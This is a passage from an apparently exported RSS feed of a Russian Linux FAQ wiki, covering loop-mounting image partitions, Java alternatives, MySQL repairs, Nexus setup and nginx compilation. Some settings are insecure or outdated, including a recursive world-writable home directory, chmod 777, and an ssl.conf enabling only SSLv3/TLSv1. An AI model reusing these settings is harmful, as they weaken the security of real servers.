ls /dev/mapper/&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435_\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435_\u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-255&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;монтирование_разделов_по_смещению&quot;&gt;Монтирование разделов по смещению&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вручную смонтировать разделы из файла-образа можно сделать, указав команде &lt;strong&gt;losetup&lt;/strong&gt; нужное смещение:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ /sbin/fdisk -lu disk.img
You must set cylinders.
You can do this from the extra functions menu.

Disk disk.img: 0 MB, 0 bytes
255 heads, 63 sectors/track, 0 cylinders, total 0 sectors
Units = sectors of 1 * 512 = 512 bytes

      Device Boot      Start         End      Blocks   Id  System
disk.imgp1   *          63       96389       48163+  83  Linux
disk.imgp2           96390     2056319      979965   82  Linux swap / Solaris
disk.imgp3         2056320    78140159    38041920    5  Extended
disk.imgp5         2056383     3052349      497983+  83  Linux
disk.imgp6         3052413    10859939     3903763+  83  Linux
disk.imgp7        10860003    68372639    28756318+  83  Linux
disk.imgp8        68372703    76180229     3903763+  83  Linux
disk.imgp9        76180293    78140159      979933+  83  Linux&lt;/pre&gt;

&lt;p&gt;
Тут смотрим размер юнита и смещение начала нужного раздела.
В данном случае юнит - это один сектор размером 512 байт (&lt;strong&gt;Units = sectors of 1 * 512 = 512 bytes&lt;/strong&gt;).
Для раздела 7 смещение начала - &lt;strong&gt;10860003&lt;/strong&gt; секторов.
Теперь можно создавать loop-устройство с нужным смещением:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# losetup /dev/loop0 disk.img -o $((10860003 * 512))
# file -s /dev/loop0
/dev/loop0: Linux rev 1.0 ext3 filesystem data
# mount /dev/loop0 /mnt
[...]
# umount /mnt
# losetup -d /dev/loop0&lt;/pre&gt;

&lt;p&gt;
Также, если на разделе действительно существует файловая система можно задать смещение непосредственно команде &lt;strong&gt;mount&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# mount -o loop,offset=$((10860003 * 512)) disk.img /mnt
[...]
# umount /mnt&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432_\u043f\u043e_\u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;256-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>move_home_dir_to_another_machine</title>
            <link>https://wiki.autosys.tk/linux_faq/move_home_dir_to_another_machine</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo rsync -ax /old_home/user/ /new_home/user/
sudo chown -R user /new_home/user/
sudo chmod o+rw /new_home/user/ -R&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>multiple_java_versions</title>
            <link>https://wiki.autosys.tk/linux_faq/multiple_java_versions</link>
            <description>
&lt;p&gt;
Мне необходимо собирать приложения &lt;strong&gt;java&lt;/strong&gt; с помощью старой версии openjdk-11 (конкретно - openjdk-11.0.2). &lt;br/&gt;

Но при этом, я не могу просто удалить из системы дефолтный &lt;strong&gt;openjdk&lt;/strong&gt;, поскольку от него зависят многие пакеты. &lt;br/&gt;

Поэтому я установлю в системе ту версию что мне нужно параллельно с текущей. &lt;br/&gt;

Скачиваем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz&lt;/pre&gt;

&lt;p&gt;
Распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo tar -xvf ./openjdk-11.0.2_linux-x64_bin.tar.gz -C /usr/lib/jvm/&lt;/pre&gt;

&lt;p&gt;
Смотрим что у нас сейчас запускается под видом &lt;strong&gt;java&lt;/strong&gt; (интересует текущий приоритет):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;update-alternatives --query java&lt;/pre&gt;

&lt;p&gt;
Прописываем альтернативный бинарник с приоритетом больше, чем текущий (последние цифры в команде):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-11.0.2/bin/java 1122&lt;/pre&gt;

&lt;p&gt;
И вот таким скриптом я заменяю все дефолтные бинарники java:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash

new_path=&amp;#039;/usr/lib/jvm/jdk-11.0.2/bin/&amp;#039;
bin_path=&amp;#039;/usr/bin&amp;#039;
priority=&amp;#039;1122&amp;#039;

for binary in `find /usr/lib/jvm/jdk-11.0.2/bin/ -type f`
do
  sudo update-alternatives --install $bin_path/`basename $binary` `basename $binary` $binary $priority
done&lt;/pre&gt;

&lt;p&gt;
Также нужно, чтобы переменная &lt;strong&gt;$JAVA_HOME&lt;/strong&gt; указывала на нужную &lt;strong&gt;JAVA&lt;/strong&gt;. Обычно она указывает на &lt;strong&gt;/usr/lib/jvm/default-java&lt;/strong&gt;, которая является симлинком до нужной директории. Делаем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /usr/lib/jvm/
sudo rm -f default-java
sudo ln -s jdk-11.0.2 default-java&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 09 Dec 2020 16:00:51 +0000</pubDate>
        </item>
        <item>
            <title>mysql-не-стартует-cant-create-ip-socket-permission-denied</title>
            <link>https://wiki.autosys.tk/linux_faq/mysql-%D0%BD%D0%B5-%D1%81%D1%82%D0%B0%D1%80%D1%82%D1%83%D0%B5%D1%82-cant-create-ip-socket-permission-denied</link>
            <description>
&lt;p&gt;
В файл &lt;strong&gt;/etc/mysql/my.cnf&lt;/strong&gt;&lt;br/&gt;

 надо добавить строку &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;skip-networking &lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>mysql_export_nad_import_databases</title>
            <link>https://wiki.autosys.tk/linux_faq/mysql_export_nad_import_databases</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;получаем_список_баз&quot;&gt;Получаем список баз&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;mysql -u root -p
&amp;gt; SHOW DATABASES;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u0431\u0430\u0437&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c_\u0441\u043f\u0438\u0441\u043e\u043a_\u0431\u0430\u0437&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-91&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;дамп_базы&quot;&gt;Дамп базы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;mysqldump -u [username] -p [database_name] &amp;gt; [dumpfilename.sql]&lt;/pre&gt;

&lt;p&gt;
Сжимаем дамп и переносим но новый сервер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar zcf dumpfilename.tar.gz dumpfilename.sql&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u0430\u043c\u043f \u0431\u0430\u0437\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u0430\u043c\u043f_\u0431\u0430\u0437\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;92-314&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;импорт_базы&quot;&gt;Импорт базы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;tar zxf dumpfilename.tar.gz&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;mysql -u [username] -p [database_name] &amp;lt; [dumpfilename.sql]&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043c\u043f\u043e\u0440\u0442 \u0431\u0430\u0437\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043c\u043f\u043e\u0440\u0442_\u0431\u0430\u0437\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;315-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>mysql_the_redo_log_file_is_not_a_multiple_of_innodb_page_size</title>
            <link>https://wiki.autosys.tk/linux_faq/mysql_the_redo_log_file_is_not_a_multiple_of_innodb_page_size</link>
            <description>
&lt;p&gt;
После обновления mysql, работающего на ZFS до версии 8.0 сервис не стартует, а в логе &lt;strong&gt;/var/log/mysql/error.log&lt;/strong&gt; и наблюдаю такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;The redo log file ./#innodb_redo/#ib_redo5 size 3072000 is not a multiple of innodb_page_size&lt;/pre&gt;

&lt;p&gt;
&lt;a href=&quot;https://stackoverflow.com/a/73200473&quot; class=&quot;urlextern&quot; title=&quot;https://stackoverflow.com/a/73200473&quot; rel=&quot;ugc nofollow&quot;&gt;https://stackoverflow.com/a/73200473&lt;/a&gt; &lt;br/&gt;

Вот тут написано - что нужно довести его размер до кратного 8192 или 16384 (в завосимости от заданного &lt;strong&gt;innodb_page_size&lt;/strong&gt;) путём дописывания нулей в конец файла. &lt;br/&gt;

В моем случае - размер файла кратен 8192, но не кратен 16384. &lt;br/&gt;

Попробую дописать в файл 8192 нуля:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/zero bs=1 count=8192 of=./zeros
cat zeros &amp;gt;&amp;gt; /var/lib/mysql/#innodb_redo/#ib_redo5 
service mysql restart&lt;/pre&gt;

&lt;p&gt;
Или еще проще, для всех файлов сразу:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;truncate -s 64M /var/lib/mysql/#innodb_redo/#ib_redo*&lt;/pre&gt;

&lt;p&gt;
В результате - сервис нормально стартует. &lt;br/&gt;

Однако - успешный запуск не предполагает успешного перезапуска. Чтобы зафиксировать успех делаем следующее:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 копируем файлик сервиса, чтобы немного кастомизировать его: &lt;pre class=&quot;code&quot;&gt;cp /lib/systemd/system/mysql.service /etc/systemd/system/&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Добавляем в файл &lt;strong&gt;/etc/systemd/system/mysql.service&lt;/strong&gt; строку: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ExecStartPre=+/bin/bash -c &amp;#039;/usr/bin/truncate -s 64M /var/lib/mysql/#innodb_redo/#ib_redo*&amp;#039;&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Обновляем конфиг сервисов: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;systemctl daemon-reload&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Проверяем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service mysql restart&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 16 Aug 2022 10:36:44 +0000</pubDate>
        </item>
        <item>
            <title>nexus_repo_setup</title>
            <link>https://wiki.autosys.tk/linux_faq/nexus_repo_setup</link>
            <description>
&lt;p&gt;
Nexus - универсальный репозиторий для пакетов и аретфактов. &lt;br/&gt;

&lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;setup_nexus_on_ubuntu_1804&quot;&gt;Setup Nexus on Ubuntu 18.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Устанавливаем &lt;strong&gt;JVM&lt;/strong&gt; и &lt;strong&gt;nginx&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade &amp;amp;&amp;amp; sudo apt-get -y install openjdk-8-jre nginx&lt;/pre&gt;

&lt;p&gt;
Создаем пользователя, от имени которого будет работать &lt;strong&gt;Nexus&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo useradd -M -r -s /dev/null nexus&lt;/pre&gt;

&lt;p&gt;
Создаем директорию, где будет лежать &lt;strong&gt;Nexus&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /opt/nexus&lt;/pre&gt;

&lt;p&gt;
Скачиваем &lt;strong&gt;Nexus&lt;/strong&gt; (возможно лучше скачать с сайта)
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://sonatype-download.global.ssl.fastly.net/repository/repositoryManager/3/nexus-3.19.1-01-unix.tar.gz&lt;/pre&gt;

&lt;p&gt;
Переносим в нее архив и распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mv ./nexus-3.19.1-01-unix.tar.gz /opt/nexus/
cd /opt/nexus
sudo tar -xvf ./nexus-3.19.1-01-unix.tar.gz&lt;/pre&gt;

&lt;p&gt;
Указываем в конфигурации Nexus от имени какого пользователя он будет работать:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;run_as_user=&amp;quot;nexus&amp;quot;&amp;#039; &amp;gt; /opt/nexus/nexus-3.19.1-01/bin/nexus.rc&lt;/pre&gt;

&lt;p&gt;
даем права пользователю &lt;strong&gt;nexus&lt;/strong&gt; на файлы в папках:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chown nexus:nexus /opt/nexus/ -R&lt;/pre&gt;

&lt;p&gt;
Создаем файл для запуска &lt;strong&gt;Nexus&lt;/strong&gt; как сервиса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat &amp;lt;&amp;lt;EOF | sudo tee /lib/systemd/system/nexus.service
[Unit]
Description=nexus service
After=network.target
  
[Service]
Type=forking
LimitNOFILE=65536
ExecStart=/opt/nexus/nexus-3.19.1-01/bin/nexus start
ExecStop=/opt/nexus/nexus-3.19.1-01/bin/nexus stop
User=nexus
Restart=on-abort
  
[Install]
WantedBy=multi-user.target
EOF&lt;/pre&gt;

&lt;p&gt;
Включаем и стартуем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl daemon-reload
sudo systemctl enable nexus.service
sudo systemctl start nexus.service
sudo systemctl status nexus.service&lt;/pre&gt;

&lt;p&gt;
Создаем конфигурацию сайта в &lt;strong&gt;nginx&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat &amp;lt;&amp;lt;EOF | sudo tee ls /etc/nginx/sites-available/default
  server {
    listen   *:80;
    #server_name  www.example.com;

    # allow large uploads of files
    client_max_body_size 1G;

    # optimize downloading files larger than 1G
    #proxy_max_temp_file_size 2G;

    location / {
      # Use IPv4 upstream address instead of DNS name to avoid attempts by nginx to use IPv6 DNS lookup
      proxy_pass http://127.0.0.1:8081/;
      proxy_set_header Host \$host;
      proxy_set_header X-Real-IP \$remote_addr;
      proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
    }
  }
EOF&lt;/pre&gt;

&lt;p&gt;
И перезагружаем конфигурацию &lt;strong&gt;nginx&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service nginx reload&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Setup Nexus on Ubuntu 18.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;setup_nexus_on_ubuntu_1804&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;112-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 29 Oct 2019 11:59:03 +0000</pubDate>
        </item>
        <item>
            <title>nginx</title>
            <link>https://wiki.autosys.tk/linux_faq/nginx</link>
            <description>
&lt;h2 class=&quot;sectionedit1&quot; id=&quot;установка_пререквизитов_и_компиляция_минимального_nginx_для_reverse-proxy&quot;&gt;Установка пререквизитов и компиляция минимального nginx для reverse-proxy&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install build-essential libwww-perl libpcre3-dev zlib1g-dev libssl-dev

wget http://nginx.org/download/nginx-1.0.14.tar.gz

tar -xvf nginx-1.0.14.tar.gz
cd nginx-1.0.14

make clean; ./configure --without-http_autoindex_module --without-http_browser_module --without-http_fastcgi_module --without-http_geo_module --without-http_empty_gif_module --without-http_map_module --without-http_memcached_module --without-http_ssi_module --without-http_userid_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --without-http_split_clients_module --without-http_uwsgi_module --without-http_scgi_module --without-http_referer_module --without-http-cache --without-http_upstream_ip_hash_module --with-http_ssl_module --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log

make

make install&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u0440\u0435\u0440\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u043e\u0432 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e nginx \u0434\u043b\u044f reverse-proxy&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u043f\u0440\u0435\u0440\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u043e\u0432_\u0438_\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f_\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e_nginx_\u0434\u043b\u044f_reverse-proxy&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1001&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;запуск_nginx&quot;&gt;Запуск nginx&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/local/nginx/sbin/nginx&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043f\u0443\u0441\u043a nginx&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043f\u0443\u0441\u043a_nginx&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1002-1071&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;перезапуск_nginx&quot;&gt;Перезапуск nginx&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;kill $(cat /usr/local/nginx/logs/nginx.pid) &amp;amp;&amp;amp; /usr/local/nginx/sbin/nginx&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a nginx&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a_nginx&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1072-1198&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;после_первого_запуска&quot;&gt;После первого запуска:&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;chown www-data /usr/local/nginx/proxy_temp -R
chmod 777 /usr/local/nginx/proxy_temp
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430:&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0441\u043b\u0435_\u043f\u0435\u0440\u0432\u043e\u0433\u043e_\u0437\u0430\u043f\u0443\u0441\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1199-1350&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;usrlocalnginxconfnginxconf&quot;&gt;/usr/local/nginx/conf/nginx.conf&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;user  www-data;
worker_processes  20;
worker_rlimit_nofile 32768;

error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

#pid        logs/nginx.pid;


events {
    worker_connections  10240;
}


http {

#log_format upstream   &amp;#039;$upstream_addr | $request - [ $upstream_response_time ]&amp;#039;;

server_tokens off;
client_header_timeout 3m;
send_timeout 3m;
client_header_buffer_size 1k;
large_client_header_buffers 4 4k;
output_buffers 1 32k;
postpone_output 1460;
sendfile on;
tcp_nopush on;
client_max_body_size 20M;
tcp_nodelay on;
keepalive_timeout 75 20;
server_names_hash_bucket_size 128; # this seems to be required for some vh

log_format main &amp;#039;$remote_addr - $remote_user [$time_local] $request &amp;#039;
&amp;#039;&amp;quot;$status&amp;quot; $body_bytes_sent &amp;quot;$http_referer&amp;quot; &amp;#039;
&amp;#039;&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;&amp;#039;;

proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;

# default virtual host
server {
listen 80 default;
server_name _;

#access_log /var/log/nginx/upstream_access.log  upstream;
access_log /var/log/nginx/default-access.log main;

server_name_in_redirect off;

location / {
index index.html;
root /var/www/default/htdocs;
}
}

# here resides my virtual host configurations
include /usr/local/nginx/conf/virtual.conf;

}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/usr\/local\/nginx\/conf\/nginx.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;usrlocalnginxconfnginxconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1351-2831&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;usrlocalnginxconfvirtualconf&quot;&gt;/usr/local/nginx/conf/virtual.conf&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;server {
listen 80;
listen 443;
include /usr/local/nginx/conf/ssl.conf;

server_name autosys.tk;

location / {
proxy_pass http://autosys.tk;
 proxy_set_header   X-Real-IP $remote_addr;
 proxy_set_header   Host $http_host;
 proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;

}
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/usr\/local\/nginx\/conf\/virtual.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;usrlocalnginxconfvirtualconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;2832-3182&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;usrlocalnginxconfsslconf&quot;&gt;/usr/local/nginx/conf/ssl.conf&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;ssl                     on;
ssl_protocols           SSLv3 TLSv1;
ssl_certificate         /usr/local/nginx/conf/ssl/cert.pem;
ssl_certificate_key     /usr/local/nginx/conf/ssl/cert.key;&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;
mkdir /usr/local/nginx/conf/ssl&lt;/pre&gt;

&lt;p&gt;
Для большей безопасности ограничиваем доступ к сертификатам:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chown www-data:www-data /usr/local/nginx/conf/ssl
chmod 700 /usr/local/nginx/conf/ssl&lt;/pre&gt;

&lt;p&gt;
Перейдем в эту папку и с генерируем сертификат:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /usr/local/nginx/conf/ssl
openssl req -new -x509 -days 9999 -nodes -out cert.pem -keyout cert.key&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/usr\/local\/nginx\/conf\/ssl.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;usrlocalnginxconfsslconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;3183-3892&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;если_через_nginx_не_проходят_куки&quot;&gt;Если через nginx не проходят куки!&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt; apt-get install libpcre3 libpcre3-dev libperl-dev lua5.1 liblua5.1-dev&lt;/pre&gt;

&lt;p&gt;
Устанавливаем LuaJIT-2.0&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://luajit.org/download/LuaJIT-2.0.0-beta10.tar.gz
tar -xvf LuaJIT-2.0.0-beta10.tar.gz
